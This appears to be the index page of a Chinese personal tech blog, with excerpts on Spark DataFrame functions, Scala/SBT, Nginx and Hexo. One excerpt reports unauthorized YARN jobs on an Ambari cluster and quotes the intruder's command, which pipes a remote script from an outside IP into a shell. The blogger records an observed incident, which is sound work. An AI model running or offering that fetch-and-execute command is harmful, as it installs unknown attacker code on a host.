zhangnew

认真你就赢了

发表于 更新于 分类于 ， 评论数： 阅读次数：

本文基于 Spark 2.x，除特殊说明，代码均为 Scala

函数详解

import

使用 DataFrame 通常需要 import org.apache.spark.sql.functions._，这里引入了 col, lit, udf, sum, max, avg, agg 等常用函数。函数源码

阅读全文 »

发表于 更新于 分类于 ， 评论数： 阅读次数：

最近利用 Ambari 重新搭建了一个集群，今天发现 ResourceManager UI 里面有一些奇怪的作业，类型是 yarn，由 dr.who 提交的名为 MYYARN 的作业，最早从2018年4月30日开始，每隔几分钟就有一个，作业内容完全一样。

里面的关键一句命令是 exec /bin/bash -c "curl 193.22.96.25/x.sh | sh & disown"，IP 来自俄罗斯，俄罗斯的黑客真是厉害呢。

阅读全文 »

发表于 更新于 分类于 ， 评论数： 阅读次数：

小书匠是一个功(zhong)能(liang)强(ji)大的 MarkDown 文档编辑器，除了支持常规的 MarkDown 语法，还要很多扩展语法（代码高亮 ，gfm ，脚注 ，上标 ，下标 ，文字高亮 ，注音 ruby ，缩写定义 ，表格 ，emoji 表情 ，文字插入 ，文字居中 ，todo ，视频 ，音频 ，附件 ，属性 ，表格 ，合并单元格式表格 ，mathjax 数学公式 ，plantuml uml 图 ，mermaid 时序图，流程图，甘特图等 ，sequence 时序图 ，codeChunks 代码块执行 ，wavedrom ，nunjucks ，plot 统计图），多种编辑器，主题，以及自定义CSS等功能，支持印象笔记、Github、Dropbox 等，以及常见的各种图床。功能详见官网

轻量级的需求可以直接在官网上用在线版的就可以了，要想获取完整的体验还是需要下载客户端，全平台支持的（nwjs 开发的），非开源，其 Github 只是提 Issue 用的。

阅读全文 »

发表于 更新于 分类于 ， 评论数： 阅读次数：

一直使用 Windows 下的 IDEA 做 Scala Spark 程序开发，打包后用 WinSCP 上传到服务器运行，很麻烦，所以就想在 Linux 服务器上部署 Scala、SBT 来编写 Spark 程序。再编写一些简单脚本，肯定可以使编译、打包、运行一气呵成。当然了，也是有缺点的，就是没有了 IDE，写代码就困难了（哭）。还有就是 vim 的支持情况，默认是不识别 scala 文件的。

阅读全文 »

发表于 更新于 分类于 评论数： 阅读次数：

Coding 又有了新的收费方式，会员制，正常免费用户可以使用 Coding Pages 自定义域名，但是访问的时候会显示 Coding Pages 5 秒，然后跳转，这是博主们万万不能接受的吧。黄金会员 199/年，暂时用不到，正好手头有一个 VPS 闲置，Nginx 搞起来。

阅读全文 »

发表于 更新于 分类于 ， 评论数： 阅读次数：

Hexo 是高效的静态站点生成框架，她基于 Node.js。 通过 Hexo 你可以轻松地使用 Markdown 编写文章，除了 Markdown 本身的语法之外，还可以使用 Hexo 提供的 标签插件 来快速的插入特定形式的内容。在这篇文章中，假定你已经成功安装了 Hexo，并使用 Hexo 提供的命令创建了一个站点。

  • NexT 坚持将复杂的细节隐藏，提供尽量少并且简便的设置，保持最大限度的易用性。
  • 通过主题中的主题（亦称 Scheme），您可以方便地改变您博客的外观，同时几乎所有配置同样适用
  • 使用 第三方服务 来扩展站点的功能， NexT 支持多种常见第三方服务。
  • NexT 使用 Tomorrow 的代码高亮配色，只需要一行配置，即可选择您所喜爱的配色方案
阅读全文 »